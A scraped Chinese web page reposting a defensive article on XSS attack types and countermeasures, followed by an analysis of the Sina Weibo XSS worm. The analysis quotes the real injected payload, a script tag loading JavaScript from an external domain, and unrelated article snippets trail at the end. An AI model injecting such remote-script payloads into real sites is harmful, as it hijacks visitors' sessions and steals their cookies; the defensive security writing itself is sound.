XSS 防范XSS 攻击的措施
|
|||||||
|
![]() |
|
|
|
|
|
|
XssSniper--0KEE TEAM
XssSniper 扩展介绍 一直以来,隐式输出的DomXSS漏洞难以被传统的扫描工具发现,而XssSniper是依托于Chrome浏览器的扩展,通过动态解析可以快速准...
|
|||||||
Preview by Yahoo
|
|||||||
|
首先看看跨站脚本漏洞的成因,所谓跨站脚本漏洞其实就是Html的注入问题,恶意用户的输入没有经过严格的控制进入了数据库最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行HTml代码,数据流程如下:
恶意用户的Html输入————>web程序————>进入数据库————>web程序————>用户浏览器
这里给出一些防范XSS 攻击的措施。必须说明的是,对于XSS 攻击,并不像SQL
Injection 那样可以有一劳永逸的解决方案——只需要grep 一下所有的sql 调用。这是一
场长期的斗争,而且往往需要我们采取修改业务流程、产品设计等看似削足适履的手段。
先总结一下常见的攻击手法:
1. 依赖跨站漏洞,需要在被攻击网站的页面种入脚本的手法
1.1. Cookie 盗取,通过javascript 获取被攻击网站种下的cookie,并发送给攻击者。
1.1.1. 从cookie 中提取密码等隐私
1.1.2. 利用cookie 伪造session,发起重放攻击
1.2. Ajex 信息盗取,通过javascript 发起ajex 请求。
1.2.1. 从ajex 结果中获取隐私。
1.2.2. 模拟用户完成多页表单。
2. 不依赖跨站漏洞的手法
搜狐公司研发中心版权所有,仅供技术交流,转载请保留上述文字
2.1. 单向HTTP 动作,通过img.src 等方法发起跨站访问,冒充被攻击者执行特权操作。
但是很难拿到服务器的返回值。
2.2. 双向HTTP 动作,如果服务器产生一段动态的script,那么可以用script.src 的方法
发起跨站访问并拿到服务器的返回值。
防范手法如下:
1. 防堵跨站漏洞,阻止攻击者利用在被攻击网站上发布跨站攻击语句
不可以信任用户提交的任何内容,首先代码里对用户输入的地方和变量都需要仔细
检查长度和对”<”,”>”,”;”,”’”等字符做过滤;其次任何内容写到页面之前都必须加以
encode,避免不小心把html tag 弄出来。
这一个层面做好,至少可以堵住超过一半的XSS 攻击。
2. Cookie 防盗
首先避免直接在cookie 中泄露用户隐私,例如email、密码等等。
其次通过使cookie 和系统ip 绑定来降低cookie 泄露后的危险。这样攻击者得到的
cookie 没有实际价值,不可能拿来重放。
3. 尽量采用POST 而非GET 提交表单
POST 操作不可能绕开javascript 的使用,这会给攻击者增加难度,减少可利用的
跨站漏洞。
4. 严格检查refer
检查http refer 是否来自预料中的url。这可以阻止第2 类攻击手法发起的http 请求,
也能防止大部分第1 类攻击手法,除非正好在特权操作的引用页上种了跨站访问。
5. 将单步流程改为多步,在多步流程中引入效验码
多步流程中每一步都产生一个验证码作为hidden 表单元素嵌在中间页面,下一步操
作时这个验证码被提交到服务器,服务器检查这个验证码是否匹配。首先这为第1 类攻
击者大大增加了麻烦。其次攻击者必须在多步流程中拿到上一步产生的效验码才有可能
发起下一步请求,这在第2 类攻击中是几乎无法做到的。
6. 引入用户交互
简单的一个看图识数可以堵住几乎所有的非预期特权操作。
7. 只在允许anonymous 访问的地方使用动态的javascript。
8. 对于用户提交信息的中的img 等link,检查是否有重定向回本站、不是真的图片等
可疑操作。
9. 内部管理网站的问题
很多时候,内部管理网站往往疏于关注安全问题,只是简单的限制访问来源。这种
网站往往对XSS 攻击毫无抵抗力,需要多加注意。
安全问题需要长期的关注,从来不是一锤子买卖。XSS 攻击相对其他攻击手段更加
隐蔽和多变,和业务流程、代码实现都有关系,不存在什么一劳永逸的解决方案。此外,
面对XSS,往往要牺牲产品的便利性才能保证完全的安全,如何在安全和便利之间平衡
也是一件需要考虑的事情。
XSS攻击有两种方法,
- 一种就像SQL
Injection或CMD Injection攻击一样,我把一段脚本注入到服务器上,用户访问方法服务器的某个URL,这个URL就会把远端的js注入进来,这个js有可能自动进 行很多操作。比如这次事件中的帮你发微博,帮你发站内消息等。注入有很多方法,比如:提交表单,更改URL参数,上传图片,设置签名,等等。
- 另一类则是来来自外部的攻击,主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在自己的服务器上,然后通过结合其它技术,如
社会工程学等,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低,至少ajax 要发起跨站调用是非常困难的(你可能需要hack浏览器)。
这次新浪微博事件是第一种,其利用了微博广场页面
http://weibo.com/pub/star
的一个URL注入了js脚本,其通过http://163.fm/PxZHoxn短链接服务,将链接指向:
注意,上面URL链接中的其实就是<script
src=//www.2kt.cn/images/t.js></script>。
攻击者并不一定是2kt.cn的人,因为.cn被国家严格管制(大家不知道coolshell.cn 的备案备了不知有多少次),所以,我个人觉得这个人不会愚蠢到用自己域名来做攻击服务器。
XSS 防范XSS 攻击的措施的更多相关文章
- Web站点如何防范XSS、CSRF、SQL注入攻击
XSS跨站脚本攻击 XSS跨站脚本攻击指攻击者在网页中嵌入客户端脚本(例如JavaScript),当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的,比如获取用户的Cookie,导 ...
- xss和csrf攻击
xss(cross site scripting)是一种最常用的网站攻击方式. 一.Html的实体编码 举个栗子:用户在评论区输入评论信息,然后再评论区显示.大概是这个样子: <span> ...
- 关于XSS(跨站脚本攻击)和CSRF(跨站请求伪造)
我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...
- web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)
web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造) XSS(跨站脚本攻击)和CSRF(跨站请求伪造) Cross-site Scripting (XSS) h ...
- Web安全测试之XSS(跨站脚本攻击)
XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞.指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的 ...
- 防范XSS
.net framework4.5 提供了AntiXss类,来防范XSS攻击. 在开放指令的同时过滤危险字符串,使用AntiXss.GetSafeHtmlFragment(html)方法,具体可以参照 ...
- 【超精简JS模版库/前端模板库】原理简析 和 XSS防范
使用jsp.php.asp或者后来的struts等等的朋友,不一定知道什么是模版,但一定很清楚这样的开发方式: <div class="m-carousel"> < ...
- 防范xss的正确姿势
防范xss的正确姿势 xss攻击是web攻击中非常常见的一种攻击手段.如果你还没有听说过xss攻击,可以先了解xss的相关知识和原理,例如: XSS)" target="_blan ...
- XSS防范之Encode(转)
防范XSS有三道防火墙:数据的输入校验,数据输出Encode,浏览器安全(主要就是CSP),这里主要介绍Encode. #用于XSS防范的Encode 用户防范XSS的Encode主要有三种:Html ...
随机推荐
- Ansible的Playbook的编写
在Ansible中,将各个模块组合起来成为一个YAML格式的配置文件,这个配置文件叫做Playbook, Playbook和模块的关系类似于shell脚本和Linux命令之间的关系. Playbook ...
- U3D 游戏引擎之游戏架构脚本该如何来写
这篇文章MOMO主要想大家说明一下我在Unity3D游戏开发中是如何写游戏脚本的,对于Unity3D这套游戏引擎来说入门极快,可是要想做好却非常的难.这篇文章的目的是让哪些已经上手Unity3D游戏引 ...
- CMS4.0——后知后觉
前言: 2016年底,自己作为参与者加入CMS3.0的改版中:2017年中,CMS4.0在经过一个月有余的时间,华丽丽的蜕变成现在大家喜闻乐见的:http://news.gangguwang.com/ ...
- sqlserver连接问题收集
问题1. 使用navicat连接本地sqlserver,报错“命名管道提供程序无法打开与 sql server 的连接 [2]” 解决: 参考本篇文章 <持续收集中>
- javascript/css压缩工具---yuicompressor使用方法
1. 下载 地址:https://github.com/yui/yuicompressor/downloads 2. 安装 yuicompressor是由java写成的一组jar文件,需要jdk环境支 ...
- vue的首页渲染了两次的原因以及解决方法
现在在用vue做一些单页面应用的东西,遇到了些许问题啊,比如我再渲染首页的时候,会渲染两次,查看了一下原因,原来是在写路由的时候写的格式错了: 这样的时候,初始的时候就是加载的exam_list页面, ...
- __declspec(dllimport)与__declspec(dllexport)作用总结
参考自:http://bbs.csdn.net/topics/330169671 __declspec(dllexport):导出符号,也就是定义需要导出函数的dll中给导出函数的函数声明前面加上导出 ...
- git-常用命令一览表
一.git bash 操作文件 常用命令表 git常用 文件操作 命令 功能分类 命令 说明 备注 目录切换 cd 文件目录 改变/切换 目录, change directory 如 cd e:\ff ...
- C# 中对COOKIES的操作
HttpUtility.UrlDecode HttpUtility.UrlEncode HttpContext.Current.Request.Cookies["UserCode" ...
- laravel + php cgi + nginx在windows平台下的配置
1.d:\xampp\php\php-cgi.exe -b 127.0.0.1:9000 -c d:\xampp\php\php.ini 2.nginx conf配置如下: #user nobody; ...